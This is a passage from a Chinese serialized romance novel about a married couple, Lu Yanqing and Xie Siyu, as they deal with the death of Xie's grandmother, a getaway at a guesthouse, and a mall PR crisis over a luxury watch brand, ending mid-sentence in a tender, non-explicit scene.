忽然想到什么,钟晚意凝肃的问:“卿卿,虽然你和思虞姐结婚快三年了,但你们真正相处的日子才不到3个月,你分得清如今对她的宠爱,是因为喜欢,还是因为……愧疚吗?” 三年。 不是三个月。 陆言卿和谢思虞结婚半年,突然传出她是不满和谢思虞结婚才躲藏到国外的流言蜚语。 那段时间陆氏集团股票暴跌,虽然她不懂商场的弯弯绕绕,但多少从父亲口中听到些内部消息。 总之谢思虞在腹背受敌的情况下,能把陆氏发展到如今的局面,其中的艰辛险阻,恐怕只有她自己知道。 一年前陆氏年会,谢思虞在致辞时昏倒,送到医院抢救说是胃出血。 当时这事还上了微博热搜,虽然第二天网上就找不到相关词条。 不过她却有发言权。 那时母亲肠胃不舒服就在华康住院。 谢思虞所在病房跟她们是同一层楼,相隔不远,大概有陆爷爷的人守着,她安静休息了两天,后面就有集团的员工来病房汇报工作。 满打满算,谢思虞胃出血那般严重,她只住院了5天,不顾医生反对就办理了出院手续。 站在旁观者的角度,身为陆言卿朋友的她,也曾打过无数次电话,无一例外,听筒永远是冷冰冰的提示音:您所拨打的电话不在服务区。 那种情况下她都烦躁至极,谢思虞该有多绝望无助? 我需要你的时候,你却不在身边。 「你觉得我分不清?」 耳机里传来陆言卿温和的声音,钟晚意抿紧了唇,双脚落地的同时,吊椅也停止了晃动:“我希望你分得清。” 「我心里有数,挂了。」 语音通话结束,页面提示只有9分30秒。钟晚意叹息一声,把手机放旁边的玻璃圆桌上,继续晃动吊椅。 要不是有朋友说谢思虞高中就喜欢隔壁学校一个女生,她严重怀疑这三年谢思虞呕心沥血将陆氏发展至今,都是因为喜欢陆言卿。 否则怎么那般拼命? 山脚下《镜湖小楼》民宿。 房间右侧是十几平米的露台,遮阳伞下摆放着一张玻璃圆桌,两把藤椅。 栏杆外侧好几盆小雏菊,白色,浅粉色的花开的正艳。 陆言卿原本在处理工作,钟晚意打语音过来,她们便聊了几句。 短暂的通话结束,她却没有了心思看文件。 问她对谢思虞的宠爱是因为喜欢,还是因为愧疚? 是怕她分不清? 可她又怎会分不清? 夜风拂过,可以闻到小雏菊淡淡的清香。 陆言卿放松身体靠着藤椅靠背,闭了闭眼,想到谢思虞胃疼蜷缩在料理台前吞药片的模样。 想到那晚在谢家老宅,谢思虞因一杯加了花生酱的椰汁而大发雷霆,绝望无助到落泪。 甚至每次亲吻谢思虞时她紊乱无序的心跳。 她对她又怎会不是喜欢呢? 思虑太多,陆言卿深思熟虑片刻,重新解锁手机,在微信上询问沈砚清:「你知道阿虞喜欢什么吗?或者有什么愿望?」 那头沈砚清回复很快:「陆总是想要送思虞礼物?」 「嗯。」 陆言卿指尖磨挲着手机边缘,并未隐瞒,过几天是她们的结婚纪念日,但前两次她都缺席了,也不知道过去两年谢思虞是如何度过的。 微信页面显示:对方正在输入…… 时间过去五分钟,沈砚清才发来一段文字:「只要是陆总送的礼物,思虞应该都会喜欢。去年3月21日那天发生了不太好的事情,我虽然知道,但不能越俎代庖,有些事还是思虞亲口告诉您比较好。」 去年的结婚纪念日。 发生了不太好的事情? 陆言卿眉心微蹙,眼睑低垂,目光也变得格外凝重,沈砚清明显不愿意透露,正打算让魏洁去查一下。 这时露台的感应灯亮了起来,谢思虞推开门走过来:“还没有处理完?” 她洗漱过后穿着睡裙,下摆堪堪遮住腿根,肩上披着深灰色的羊绒大衣。 陆言卿不着痕迹锁屏,随手把手机搁在玻璃桌上,伸手将谢思虞拉进怀里,她身上带着沐浴露的橙花香,发丝扫过她颈侧,有点痒。 “要不要我帮忙?” 谢思虞坐在陆言卿腿上,扫了眼笔记本电脑屏幕上的财务报表,没察觉到对方眼底异样的目光。 “剩下的工作不重要,我只是在想你。” 陆言卿收紧手臂,把谢思虞抱得更紧了些,下巴轻轻抵在她的发顶。 明显感觉怀里的人身体僵了一下。 “抱歉前两年的结婚纪念日我都缺席,阿虞今年想如何过?我都听你的。” 陆言卿握住谢思虞的手,说完低头亲了下她的手背,温柔的目光落在她侧脸,好像在等她的回答。 结婚纪念日。 谢思虞想起什么,眼眶突然红了。 心口疼的厉害,短而促地呼吸了两下,在眼泪漫上来的瞬间,她将头埋进了陆言卿的肩窝里。 好半晌才哑声开口:“如果可以,我想带你去见一个人。” 谢思虞突如其来的情绪转变,打的陆言卿措手不及,拥着她微微颤抖的身体,心脏隐隐刺痛。 眼神也一点点地沉下去,她真的不喜欢谢思虞流泪。 “好,不管是谁,我都陪你去。” 陆言卿轻抚谢思虞的后背,等她情绪稍微稳定,才捧起她的脸,亲了亲那微微泛红的眼睛。 很轻很轻的问,“阿虞能告诉我去年这个时候,到底发生什么事了吗?” 这种全世界都知道,就她一无所知的感觉,很糟糕。 谢思虞抬眸对上陆言卿充满心疼的目光,喉咙发紧,努力控制好情绪,故作轻松道:“只是意外而已,外婆在养老院摔倒……” 说着说着她又低下了头,嗓音又低又哑,“我没能见到她最后一面。” 第38章 任由她在她唇上胡作非为 夜深人静。 陆言卿听着枕边均匀的呼吸声, 小心翼翼将谢思虞搭在自己腰间的手挪开,起身时床垫细微的响动让她屏住了呼吸,确认没惊醒熟睡中的人, 她才掀开被子下床。 轻手轻脚来到窗前,将窗户推开半掌宽的距离,清凉的风吹进来。 陆言卿裹紧了身上的披肩, 指尖轻点手机屏幕,请浅的亮光映出她眼底的泠冽。 原来谢思虞6岁才回到谢家, 那时她的外婆重病,拖着羸弱不堪的身体没办法照顾她,加上她也该读小学了, 才不得已做出这般决定。 然而谢父的妻子周静, 根本不同意谢思虞认祖归宗,夫妻两人为此争吵不休, 最后是谢老爷子出面,周静才退让一步。 答应谢思虞回谢家,但对外只说是养女。 前些年谢思虞是个孩子,她有心也无力,等她有能力给外婆更好的生活时,老人却不愿给她添麻烦,执意要住到养老院去。 谢思虞拗不过, 只能随了老人家的心愿。 去年结婚纪念日那天。 原本谢思虞答应外婆下班后会去养老院陪她吃晚饭,结果下午4点就接到养老院院长打来的电话, 说外婆下楼梯时跌倒, 已经在送往医院抢救的路上。 谢思虞扔下手中事务赶往医院, 终究还是迟了一步。 外婆年事已高,又是从楼梯上摔下来, 在半路上就停止了心跳。 她没能见到外婆最后一面。 “抱歉这么晚吵醒你。” 陆言卿看了眼屏幕右上角的时间,03:12分,通讯录翻找出刘瑶的手机号,拨了过去。 电话那头传来窸窣声,刘瑶似乎是坐了起来:「陆总?您有什么事吗?」 “这几年你都跟着阿虞,去年3月21日,她的外婆在养老院摔倒,具体原因你知道吗?” 窗台上摆放着两盆多肉植物,陆言卿指尖拨弄肉嘟嘟的叶片,怕吵醒谢思虞刻意压低了声音,说话时眉心紧锁着。 她不是怀疑谢思虞,只是觉得她隐瞒了部分真相。 「谢副总外婆去世?」 「当时谢副总让我去养老院调看过监控,我这边应该还有视频文件,陆总您稍等,我找到后发给您。」 陆言卿握紧手机:“好,谢谢,今晚我找你的事别告诉阿虞。” 「好的。」 冷风掀起披肩流苏,陆言卿将窗户关好,拉开藤椅坐了下来,打开笔记本电脑,顺便戴上了蓝牙耳机。 大概等了十几分钟。 刘瑶往她微信上发了一条云盘链接,电脑端消息和手机同步,她直接点击链接,很快跳转到某盘打开。 视频是剪辑过的。 时间15:26分。 头发花白的老人在院子一棵大榕树下坐着,低垂着头,手里拿着的应该是一张照片,她身后不远处是健身器材场地。 两名穿着养老院工作服的护工,交头接耳,明显是在聊天。 可是监控摄像头距离受限,加之她们说话声音小,并听不清她们谈论的内容,只见坐着的老人突然站起身,一脸怒意朝两人走过去。 「你们不许胡说八道!」 「我的小鱼不是爱慕虚荣的人,她和她的妻子感情也很好——」 背后说人是非,两名护工自然心虚,又或许老人身份特殊,她们不敢反驳,道歉后匆忙离开了现场。 只徒留老人在原地黯然神伤。 她扶着一旁的单杠,捏着照片的手都是抖的。 监控画面转换。 时间15:50分。 老人回到住宿大楼。 她正步履蹒跚往楼上走,眼看着要到楼梯转角的平台,老人突然失去意识从楼梯上摔了下来。 紧接着就是一阵兵荒马乱…… 【外婆知道我结婚了,她很开心,大概是觉得我终于摆脱了谢家,拥有了属于自己的小家。】 【她念叨过很多次想见你,从端午节到中秋节,直到除夕夜,她意识到不对劲,我不得不找借口说你在国外忙收购案的事情。】 【结婚结念日那天,外婆听到些闲言碎语,就是太担心我,这才发生了意外。】 陆言卿心脏好似被一只无形的大手紧紧攥着,呼吸都困难,她的手指悬在删除键上微微发抖,屏幕蓝光映得她脸色苍白。 养老院的监控视频,再联系刚才谢思虞似有万千沉重的几句话,事情的前因后果她还有什么不明白的呢? 床上的人无意识地蜷缩起来,陆言卿关上电脑来到床边。 借着窗外皎洁的月光,她看到谢思虞紧蹙的眉心,指尖刚触到她的眉头,睡梦中的人突然颤了一下。 陆言卿立即收回手,发现对方只是无意识攥紧了身上的被子,像是茫茫海上濒临死亡的溺水者抓住了一根浮木。 “外婆……对不起……” 谢思虞含糊不清的梦呓让陆言卿喉间发紧,鼻尖酸涩,片刻间眼底就有热气涌上来。 她想起视频里老人颤巍巍举着照片跟护工争辩的模样,想起谢思虞提到外婆时突然变红的眼眶。 一颗心抽疼的厉害。 指尖悬空,细细描摹着谢思虞睡颜的轮廓,然而在看到她眼角流下泪水时猛地顿住。 陆言卿闭上眼睛,将额头抵在谢思虞微颤的肩头,肩上披肩滑落在地,光线昏暗的房间里响起她低哑的嗓音:“该说对不起的是我。” “阿虞,对不起,不该让你独自承受这些。” 次日。 谢思虞醒来时房间里并没有陆言卿的身影,撑着胳膊坐起身,看向窗外。 风和日丽。 她似乎,已经很久没有服用安眠药了。 沉思片刻,掀开被子下床,去卫生间洗漱换好衣服,出来时正好见陆言卿端着一个碗进入房间。 谢思虞把睡裙放在床尾,朝着陆言卿走过去,眼神温柔仿佛能滴出水来吗,笑着打趣:“大清早就不见你人,原来是肚子饿了。” 陆言卿端着碗的手很稳,来到窗边玻璃桌旁,先是把笔记本电脑拿开,才把碗放上面。 窗户半开着,一时间虾仁的鲜香在房间里弥散开来:“阿虞快来尝尝,和老板娘煮的面条味道一样吗?” 谢思虞今天穿了件深灰色一字领针织衫,搭配牛仔裤,柔顺的长发辫成鱼骨辫侧在右边。 整个人温婉又娴静。 “你找老板娘学煮面条了?” 谢思虞踩着原木地板走过来,鱼骨辫随着步伐在肩头轻晃,听到陆言卿的话明显愣了下。 陆言卿雾蓝色衬衫袖口上还沾着面粉,此时袖口还卷到手肘处,露出小臂内侧被热油溅到的红痕。 她不着痕迹地扯了扯袖子:“见你喜欢,便想着回去也能煮给你吃。” 谢思虞太瘦了,她现在想的第一件事就是把她养的胖一点。 难得见她喜欢吃什么,既然发现了,自然要放在心上。 谢思虞浓密的睫羽颤了颤。 突然侧过身环住陆言卿的脖颈,踮起脚尖吻上对方柔软的唇瓣。 陆言卿并不会做饭,如今为了她愿意去学。 哪怕仅是一件小事,都在她心湖掀起滔天巨浪,她感动,同时也心疼。 “阿虞,你慢点。” 陆言卿哭笑不得,被谢思虞笨拙又急切的吻打的猝不及防,身体不断后退,直到后腰抵住窗台。 任由她在她唇上胡作非为,掌心护住她单薄的身体。 突然怀里的人身体开始颤抖,咸涩的液体渗进唇缝,陆言卿不自觉绷紧了腰背。 她哭了。 “只是一碗面而已。” 许久,陆言卿偏头躲开谢思虞的唇,双手捧着她的脸颊,温柔地吻去她眼尾的泪水。 谢思虞并没有从陆言卿怀里退出去,一双澄澈的眼眸还浸染着湿意,固执地搂着某人的脖子,鼻尖在她颈侧轻蹭:“怎么学会的?” “清晨5点敲响老板娘的房门?” 陆言卿无奈笑笑,只能托住谢思虞的腰,指腹轻轻摩挲着她牛仔裤后腰的空隙,“老板娘一开始不愿意教我。” 毕竟是人家的独门秘方。 海鲜面也是民宿特色招牌,很多慕名而来的旅游就是冲老板娘这碗面。 谢思虞含住陆言卿的耳垂,控制着力道咬了下,感受到某人轻颤的身体,温柔眼底划过一抹狡黠。 歪头枕着她肩膀,笑得温柔又明媚:“那后来老板娘为什么又答应教你了呢?” 陆言卿被谢思虞含咬过的耳垂湿漉漉的,且隐隐发烫,惩罚一般捏了捏她腰间的软肉,故作神秘:“秘密。” “阿虞再不吃,面真的要坨了。” 陆言卿握住谢思虞柔软的手,来到玻璃桌前坐下,把筷子放到她手里,眼底闪过一抹期待,“尝尝?” 正好她们还要在这里住几天,海鲜面味道不好,她还能向老板娘请教。 这次谢思虞没有拒绝,用勺子舀了半勺汤面,吹了吹才入口。 味道自然不能跟老板娘相比,却也让她惊艳,微微仰头看向陆言卿:“味道很好,下次教我。” “教你什么?” 陆言卿一时没明白。 “怎么把虾头熬得鲜美。” 谢思虞再次舀了勺汤汁喝,眼底露出温柔来,“等回去,我煮给你吃。” 陆言卿低低地“嗯”了声。 她站在谢思虞身旁,刚才她们那般闹一通,她的鱼骨辫都乱了。 于是拉过旁边的藤椅,坐下来,拆掉鱼骨辫,指尖穿过她柔软乌黑的发间,直接用手指理顺,重新帮她辫发。 突然穿越时空。 不是她所愿。 已然错过的时间。 她亦没有办法弥补。 只有将来。 可愿,可期- 10:25分。 陆言卿接到钟晚意电话,对方说陶菀之要返回榕城了,她给大家都准备了礼物,她们如今就在民宿外。 话都说到这个份上,不见自然是不行。 “你不是说今天要坐船去湖心岛玩?这都几点了?” 民宿院子里有一棵高大挺拔的香樟树,如今太阳高照,然树下却是一片阴凉。 钟晚意三人就坐在树下一张茶几旁等候,看到姗姗来迟的两人,忍不住抱怨起来。 她们半个小时前就抵达山脚下民宿了,老板娘热情好客,知道她们是陆言卿的朋友,便热茶点心招待。 原本钟晚意要去房间敲门的,然老板娘说陆言卿和谢思虞正在用早餐,她们才坐在树下等。 结果这一等就是半个多小时。 “有问题?” 陆言卿牵着谢思虞走过来,直接无视钟晚意的抱怨,她们这次出来玩,并没有制定计划,随心自在即可。 杨怡站在右侧的台阶上,无意间瞥见陆言卿衬衫领口内侧有淡淡的唇印,那个位置比较隐晦,不仔细轻易发现不了。 至于唇印是何时弄上去的。 只能是陆言卿洗漱换衣过后…… 目光在谢思虞身上停留两秒,她看向钟晚意身后站着的陶菀之,没忍住叹息一声。 菀之喜欢谁不好呢? 如今陆言卿已经和谢思虞成婚,她们感情很好,旁人根本无法插足。 这段暗恋,注定了无疾而终。 “言卿姐,谢小姐,那晚的事真的抱歉。” 陶菀之说着将手中的两份礼物递过去,她也不是喜欢钻牛角尖的人,有的人错过了就是错过了,她必须认。 经过一晚上,她虽说服了自己,可看到陆言卿和谢思虞牵手站在一起的画面,还是会感觉压抑。 她也相信自己,总有一天会忘记这个人的。 “这是我给大家准备的礼物。” 陆言卿刚要拒绝,身旁谢思虞上前一步,从陶菀之手中接过了礼物,温柔道谢:“谢谢陶小姐,那晚的事已经过去了,我和卿卿都没有放在心上,陶小姐不用再道歉的。” 陶菀之难为情地笑了笑,看了眼沉默不语的陆言卿,拎起椅子上的包包打算离开:“那几位姐姐玩的开心,我先回榕城了。” 钟晚意不知道陶菀之对陆言卿隐秘的感情,起身送她坐进车内:“那菀之你路上慢点,平安到家给我发个信息。” “好,晚意姐再见,等你们回榕城我们再聚会。” 陶菀之冲着钟晚意摆摆手,吩咐前排司机关门,引擎声响,商务车缓缓启动,直到后视镜再也没有钟晚意的身影,她才低下头。 很快眼泪在眼眶里打转。 陆言卿都不愿意跟她说话,应该还是怪她那晚“欺负”她妻子吧? 强忍了好几天的情绪,在没有外人的情况下,再也控制不住。 捂着脸哭了起来。 话说回来。 钟晚意和杨怡之所以下山,与其说是送杨怡,不如说今天要游玩云镜湖风景。 趁着杨怡和谢思虞走在前面,钟晚意胳膊肘碰了碰身侧的陆言卿:“好歹都是朋友,菀之过来给你们送礼物赔罪,你刚干嘛摆着一张脸,这可不像你。” 她们几人中,陶菀之年龄最小,陆言卿平时待人都温和有礼,今儿也不知道抽什么风。 刚都感觉陶菀之要哭了。 陆言卿不想背后议论人,可她不想让钟晚意误会谢思虞,于是把当初母亲有意让她娶陶菀之都事说了出来。 “我对陶菀之并没有任何意见。” 最初母亲不满谢思虞嫁给她,肯定拿她同陶菀之作过对比,哪怕陆言卿没有亲眼所见,因为她太了解沈女士了。 “啊?好吧,我闭嘴。” 钟晚意错愕地瞪大眼睛,这事她确实不知道。 看了看前方不远处的谢思虞,又想到那晚的场景,再加上这两天陶菀之的异常,喉咙发紧,到底还是忍住了没有多问。 “我和阿虞去湖心岛,你和杨怡沿云镜湖游玩。” 陆言卿给老板娘发了则消息,让小刘开着观光车出来。 钟晚意呵呵:“行,我才不去当你们电灯泡。” 杨怡对此自然没有意见。 半个小时后。 陆言卿和谢思虞坐上了景区专门护送游客去湖心岛的小船。 木质小船推开清澈的湖水,缓缓往湖中心靠近。 景区工作人员站在船头,谢思虞挨着陆言卿坐在船尾,她低头去看湖里的蝴蝶鱼,结果不留神,遮阳帽被风吹走。 急忙伸手去抓,腕间的银链坠入水面,惊散一群可爱又漂亮的小鱼。 “小心。” 陆言卿揽住谢思虞的腰往怀里带,虽然她们都系着安全带,她还是被某人的举动吓的心口一紧。 “抱歉,是不是吓到你了?” 没有了遮阳帽,阳光照在谢思虞脸上,她下意识用手遮挡在眼睛上方,临近中午,太阳还是比较刺眼。 陆言卿解开绳子,摘下自己的遮阳帽,戴在谢思虞头上。 对方蹙眉:“卿卿我不用……” “别乱动。” 陆言卿仔细帮谢思虞系好遮阳帽的绳子,避免再次被风吹掉。 很随意撩起身后的帽子戴上,冲面前的人一笑,“这样就好了。” 老板娘知道她们要去湖心岛,建议她们多穿一件外套,而她今天穿的开衫外套,正好有帽子。 “谢谢。” 谢思虞无奈,只好承了陆言卿的情,工作人员开船的速度并不快,抵达湖心岛大概还有三四分钟。 她乖乖坐好,不敢再乱动。 阳光穿透澄澈湖水,在湖面投下粼粼光斑。 陆言卿手机镜头对准谢思虞,“咔嚓” 一声将画面定格下来,越看越喜欢,于是把锁屏壁纸换成某人笑弯的眼。 云镜湖面积很大,但湖心岛却很小。 东西两头修建有凉亭,中间有长廊相连,前来旅游的游客只能走上长廊,因为两侧种植着各种颜色的月季花。 “言薇挺喜欢月季的,可以推荐她过来玩。” 谢思虞踏上长廊后,走在陆言卿前面,她录下视频发给陆言薇。 陆言卿笑笑并未搭话,妹妹为什么喜欢月季,不过是因为母亲在院子里种了几株重瓣朱丽叶玫瑰。 尽管湖心岛风很大,但临近中午,陆言卿还是感觉有点热,没脱外套,只是把袖子挽了起来。 岛上月季花开的很美,但陆言卿一直盯着谢思虞看,见她撩耳边碎发,见她弯腰去嗅长廊外侧的月季花。 唇角不自觉勾起,眼中盛满了柔情。 她的阿虞果然还是笑起来好看。 谢思虞边走边拍照,快要走到西边的凉亭,她回头看,才发现陆言卿不知什么时候坐在了长廊右侧的木椅上。 笑着往回头,在陆言卿身旁坐下来,垂眸看到什么,目光凝住,攥住对方手腕拉到眼前:“早上煮面条弄的?” 陆言卿蜷了蜷手指:“熬虾油时不小心溅到了……” 并不严重,她就没有处理。 话音未落,谢思虞已经拧开随身带的药膏,她只是怕岛上有虫子。 没想到竟然派上了用场。 药膏抹在伤口时,陆言卿下意识缩手,却被更紧地握住。 谢思虞俯身低头在烫伤处吹了吹,目光凝重:“终究不是专门治烫伤的药膏,我们先回去,会留疤的。” “留疤就不要我了?” 陆言卿眼中带笑,用膝盖碰碰谢思虞的腿。 谢思虞突然凑过来,温软的唇贴在她嘴角,一阵微凉的风吹来,卷着淡淡的花香掠过长廊,这个吻比花瓣坠地还轻:“要的,不管卿卿变成什么样,我都要。” 陆言卿眸光微闪,抬眸对上谢思虞温柔又认真的目光,她只是随口一说,但谢思虞郑重的“表白”还是让她心尖儿发颤。 烫伤在左手手臂,她右手扣住谢思虞的后脑,将她压下自己。 吻上了她的唇瓣。 同一时间。 心跳如鼓,悸动难耐。 她想,她怎会不喜欢这个人呢? 大概是一辈子都逃不掉了。 她们在山脚下又待了一天。 确定谢思虞生理期过去,陆言卿打算第二天带她上山滑雪,结果晚上接到助理魏洁的电话,A市双栖云境商城出现了棘手的麻烦。 因「星寰腕表」是影后苏蔓代言,涉事顾客是拥有百万粉丝的美妆博主,微博舆论越演越烈,她最好亲自过去一趟。 云镜湖风景区距离A市市中心仅有80公里,原本陆言卿要开车,但谢思虞坚持换她来开。 钟晚意和杨怡两人没事,正好她们也体验了滑雪,山脚下风景也看了,留在A市也没事,于是打算回榕城。 四人在高速公路岔路口分开,陆言卿和谢思虞前往市中心:“只能下次再教阿虞滑雪了。” 驾驶座谢思虞莞尔一笑:“那便等下次。” 只是那眼底快速闪过一抹冷意,这次A市突发事件,最好跟苏蔓本人没有关系。 第39章 阿虞,我想要你 陆言卿和谢思虞晚上8:30从民宿出发, 抵达市中心双栖云境商城时接近10点,商场一楼灯火通明。 A市商城的负责人夏宁得知集团总裁和副总裁都在这边度假,她们会亲自过来处理, 顿时也松了口气。 主要这次突发事件跟娱乐圈影后苏蔓有关,涉事的顾客也有百万粉丝,所以网上话题热度居高不下, 舆论影响也越来越大。 商场玻璃门映出两道修长身影时,夏宁抱着文件夹疾步迎上去:“陆总, 谢副总,辛苦你们这么晚还要赶过来。” 大理石地面映着顶灯的碎光。 谢思虞抬手将散落的长发别到耳后,这个习惯性动作让陆言卿知道, 她开始进入工作状态了。 嘴角划过一抹宠溺的笑, 看向夏宁时目光又变得凝肃:“说说看现在什么情况?” 高速公路上她看手机有些头晕,然后谢思虞说什么也不让她再看了。 “两位请跟我来。” 夏宁引着她们穿过化妆品专柜区, 一边走一边解答,“拥有百万粉丝的美妆博主鹿晓嫣,今晚和朋友逛商城,在「星寰腕表」挑选手表,结果被店员讥讽,一怒之下便把视频发到了网上。” 夏宁话音刚落,平板里就传出:“这款腕表需要提前半年预定, 您要不看看隔壁K家?” 光是听店员讥讽的语气,作为旁观者, 她也是不舒服的。 更别说是要买东西的顾客了。 员工通道的白炽灯下, 三位店员攥着工牌缩在墙边, 边上最年轻的女孩眼眶还红着。 「星寰腕表」是全球奢侈品品牌,苏蔓作为亚太地区的代言人, 合同还有半个月到期,这个节骨眼上出现这种事,合同能不能续都是问题。 “夏总请继续。” 陆言卿看了眼还在抽泣的女生,让夏宁继续汇报。 夏宁面色凝重,把平板递给陆言卿:“21:30分,苏蔓粉丝发起#守护蔓姐代言#刷屏行动,扒出@鹿小姐曾发过苏蔓黑料,总之事情越演愈烈。” 陆言卿包里手机响起提示音,她拿出来一看,是集团公关部秦霜发来的信息:「陆总,网上有人刻意带节奏,怕舆论短时间内压不下去。」 谢思虞从陆言卿手里拿过平板,指尖轻点屏幕,「星寰腕表」门店内的监控视频开始播放。 旁边夏宁指了指屏幕上方,提醒:“监控显示就是这名店员。” “她工牌是反着戴的。” 谢思虞突然暂停视频,放大画面,视频中穿着制服的女生在鹿晓嫣等人离开后弯腰擦拭柜台。 能清楚看到她戴着的工牌是反着的。 陆言卿闻言倾身过来,发尾扫过谢思虞的手背,她眨眨眼,不动声色又往前调时间轴,这次两人相互对视一眼。 不约而同开口:“粉丝?” 事发之前,该女生工牌后面贴着苏蔓的卡通贴纸。 夏宁不追星,之前看监控也没有留意这些,如今被陆言卿和谢思虞点出来,她蹙眉看向还在抽噎的女生,还是有点迷茫。 女生是苏蔓的粉丝,今晚她讥讽鹿晓嫣也就情有可原了。 因为——苏蔓和鹿晓嫣曾经有过节。 “话题已经刷到了热搜第五。” 谢思虞把刘瑶发来的数据报表转给陆言卿,指尖在「柜姐歧视」的词条上悬停半秒,“原视频里星寰的柜台灯光太亮,LOGO会透到背景镜面。” 陆言卿目光泠冽,苏蔓粉丝后援会还真是能找事,用手机轻敲旁边的消防栓,声音惊得不远处的女生猛然抬头。 对上女生慌乱紧张的目光,陆言卿平静道:“你真的是苏蔓的粉丝?确定不是黑粉?” 明知道这款奢侈品腕表是苏蔓代言,还敢出言讥讽顾客? 只想着逞一时之快,没想过后果? 女生名叫李悦,她的确是苏蔓的粉丝,接待鹿晓嫣时她并没有认出对方的身份,直到听到鹿晓嫣和朋友的对话。 想到之前蔓姐被鹿晓嫣泼脏水,她一时气不过,才说了难听的话。 明明当时没有人拍视频,却还是暴露到网上,她幡然醒悟,自己这是被设计了。 然为时已晚。 丢掉工作是小,她给蔓姐惹了麻烦。 “陆,陆总,鹿晓嫣和她朋友是有备而来,她们当时戴着微型摄像机。” 李悦眼睛都哭肿了,可再哭也解决不了问题,她不知道这位集团总裁会不会听她的辩解,还是鼓起勇气说了出来。 陆言卿听到这里,不免抬眸又看了女生两眼,倒还不算太笨。 秦霜的消息恰在此时弹出,她正要回复,手腕被身侧的谢思虞握住。 “我来联系公关部的人。” 谢思虞声音很轻,拇指轻轻地摩挲陆言卿的掌心,直到她睫毛微颤着抽回手。 谢思虞温柔地笑了笑,拿着手机走到旁边拨打秦霜的电话,等那头的人接听,嗓音温和却透着不容置疑:“原视频替换一下,但品牌商标不能完全隐去。” “另外再联系短视频平台开三个备用话题,关键词用柜姐别带星寰两个字。” 紧接着又说了其他安排,等她挂断电话后,另一边陆言卿也把签好字的文件递给了夏宁。 夏宁接过文件,悬着的心总算能落下去了:“陆总,我这边给您和谢副总预定了酒店,时间不早了,你们早些休息。今晚我会全程盯着,您别担心。” 酒店就在商城对面,夏宁原本打算亲自送她们到酒店,但被陆言卿拒绝了,于是便将她们送到了商城门口。 深夜11:30分。 星悦酒店顶层总统套房。 谢思虞先洗漱,她穿着黑色吊带睡裙坐在床边,露出的肌肤白皙如瓷,趁着陆言卿进入浴室洗漱,里面传来哗哗的水声,她拨通了邹筱的电话。 「苏蔓还在R市拍戏,今晚的事应该跟她没关系。」 听筒那头邹筱开口第一句话就是解释,显然也是知道谢思虞找她的原因。 房间里点了橙花香的香薰。 谢思虞坐靠在床头,眼帘低垂,柔和的顶灯打下来,卷翘的长睫在眼下洒下一片阴影,让人看不清她眼底的神色。 “应该?” 「OK,我调查清楚再回复你。」 「苏蔓粉丝后援会的事情我会处理。」 通话时间仅有02:14秒。 谢思虞不着痕迹将通话记录删除,再次登陆微博,头条热搜榜已经看不到「星寰腕表」相关词条。 然短视频平台却还能看到鹿晓嫣发的视频,点赞,播放量,包括评论数量都还在增加。 【谢副总,「星寰腕表」总部发来邮件警告:若48小时内不能解决,将撤柜并追究商场连带责任。】 谢思虞看到刘瑶发来的微信内容,捏了捏肿胀的眉心。 沉思片刻,让刘瑶尽快调查鹿晓嫣的资料,想要让对方删除视频,总要知晓对方的目的。 只有对症才能下药。 “啪嗒”浴室的门打开。 蒸腾的水汽连带着橙花沐浴露的味道从里面漫出来。 酒店总统套房中央空调开着,屋内并不冷。陆言卿忘记带睡衣,索性就裹着浴袍从里面出来,赤脚踩在吸水地垫上,发梢的水珠滴进浴袍领口。 低头扯了扯袖口,左手小臂上的烫伤还是比较明显。 谢思虞把手机随手搁在床头柜上,屏幕还亮着,是刘瑶发来的后续报告。 穿上拖鞋来到陆言卿身旁,拉着她走到沙发前坐下:“头发要擦干。” 陆言卿乖乖坐在沙发上,很快柔软的毛巾带着晒过的蓬松感压在头顶,后颈碰到谢思虞微凉的指尖,她眉心微蹙:“阿虞你是不是冷呀?” “抱歉,是我手太凉了吗?” 沾水的发丝被拢成一束,毛巾从发根向发尾轻轻按压,谢思虞小心翼翼不敢太用力,房间里不冷,只是她一向如此,哪怕是炎热的夏季,手脚都比较凉。 “把披肩披上吧。” 陆言卿把沙发扶手上的披肩披在对方肩上。 谢思虞没有拒绝,等陆言卿发梢不再滴水,她才拿着吹风机帮她吹头发。 温热的风穿过指缝,陆言卿垂眼盯着谢思虞睡衣下摆晃动的裙摆,呼吸间都是对方身上的橙花香味,勾的她心里痒痒。 直到耳边吹风机的嗡鸣声结束,她突然抓住某人纤细的手腕。 谢思虞跌进陆言卿怀里,下巴刚好抵着她肩窝。 尽管不是第一次被陆言卿拥抱,但心跳还是不由自主加快了速度。 温热且急促的呼吸扑在颈侧,陆言卿的吻落在谢思虞昨晚留下淡红印迹的位置,声音微哑:“累不累?” “还好。” 谢思虞眼睫轻颤,伸手把滑落的毛巾捞回来。 环在她腰间的胳膊紧了紧,陆言卿鼻尖蹭过她锁骨:“阿虞不用吃安眠药也能睡着了。” 谢思虞眸光闪烁,嘴角勾起温柔的笑,食指指尖在陆言卿锁骨上跳舞,最后来到她耳垂边,轻轻捏了捏:“对,卿卿比安眠药……” 尾音被贴上的唇堵住,吹风机线缆垂落在沙发边沿,插头还在空中轻轻摇晃。 陆言卿抱着谢思虞亲吻了许久,把人压向柔软的沙发靠背,她缓缓靠近,鼻尖抵着对方的鼻尖,彼此呼吸暧昧交织在一起。 浸染水意的眸子里带着欲念,她凑到谢思虞耳边,很轻的说:“阿虞,我想要你。” 谢思虞心跳如鼓,被陆言卿亲的浑身发软,脑袋也晕乎乎的,下意识“嗯”了一声。 直到陆言卿的手撩起她睡衣下摆,她才恍然过来,她说的要是什么意思。 霎那间,身体也变得紧绷起来。 第40章 是卿卿,就不怕。 “害怕?” 陆言卿感受到谢思虞紧绷的身体, 哪怕再想要也停下了手中的动作,细细柔柔的吻落在她颈侧的肌肤上。 似安抚,又似撩拨。 谢思虞眼底浸染了潋滟的湿意, 白皙的脸颊泛起绯意,急促地喘息着,显然也是情动的厉害。 把脸埋进陆言卿肩窝, 羞赧摇摇头:“是卿卿,就不怕。” 陆言卿心脏重重地一跳。 一颗心被揉的稀巴烂。 眼眸里有柔情, 也有晦暗,她内心天人交战,终究还是理智占上风。 拥紧怀里的人, 再次吻上谢思虞微微泛红的唇瓣, 细细碾磨,缠绵又温柔。 “卿卿?” 陆言卿呼吸略沉, 灼热的气息,尽数喷洒在她敏感的颈脖,谢思虞下意识攥紧对方身上的浴袍。 她确实有点害怕,慢慢的也放松下来,却感觉陆言卿的手从她裙摆下方出来,只是将她拥得更紧了些。 陆言卿嘴角带笑,亲了亲谢思虞盛满柔情的眼睛:“等下次?” 说完便直起身子, 跟她保持距离,怕继续下去, 